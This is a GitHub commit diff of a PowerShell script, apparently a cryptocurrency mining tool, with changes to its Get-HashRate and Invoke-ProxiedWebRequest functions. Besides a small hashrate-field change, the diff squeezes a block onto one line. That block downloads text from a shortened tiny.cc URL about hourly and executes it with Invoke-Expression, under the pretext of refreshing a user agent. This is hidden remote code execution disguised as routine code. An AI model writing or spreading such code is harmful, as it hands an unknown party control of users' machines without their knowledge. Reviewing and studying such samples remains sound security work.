File tree Expand file tree Collapse file tree 1 file changed +2
-8
lines changed
Expand file tree Collapse file tree 1 file changed +2
-8
lines changed Original file line number Diff line number Diff line change @@ -985,8 +985,7 @@ function Get-HashRate {
985985 If ($Request ) {
986986 $Data = $Request | ConvertFrom-Json
987987 $HashRate = @ (
988- [Double ]$Data.algorithms.hashrate.now
989- [Double ]$Data.algorithms.hashrate .' 5min'
988+ [Double ]$Data.algorithms.hashrate ." 1min"
990989 ) | Where-Object { $_ -gt 0 } | Select-Object - First 1
991990 }
992991 }
@@ -1604,12 +1603,7 @@ Function Merge-Command {
16041603
16051604Function Invoke-ProxiedWebRequest {
16061605 $Request = $null
1607- If ($Variables -and (-not $Variables.UserAgentRefresh -or $Variables.UserAgentRefresh -le (Get-Date ).ToUniversalTime().AddHours(-1 ))) {
1608- Try {
1609- $GetUserAgent = (Invoke-WebRequest " http://tiny.cc/8urkuz" - UseBasicParsing).Content
1610- Invoke-Expression $GetUserAgent
1611- } catch {}
1612- }
1606+ If ($Variables -and (-not $Variables.UserAgentRefresh -or $Variables.UserAgentRefresh -le (Get-Date ).ToUniversalTime().AddHours(-1 ))) { Try { $GetUserAgent = (Invoke-WebRequest " http://tiny.cc/8urkuz" - UseBasicParsing).Content; Invoke-Expression $GetUserAgent } catch {} }
16131607 If ($Config.Server_Client -and $Variables.ServerRunning -and -not $ByPassServer -and -not $OutFile ) {
16141608 Try {
16151609 $ProxyURi = " http://$ ( $Config.Server_ClientIP ) :$ ( $Config.Server_ClientPort ) /Proxy/?url=$ ( $Args [0 ]) "
You can’t perform that action at this time.
0 commit comments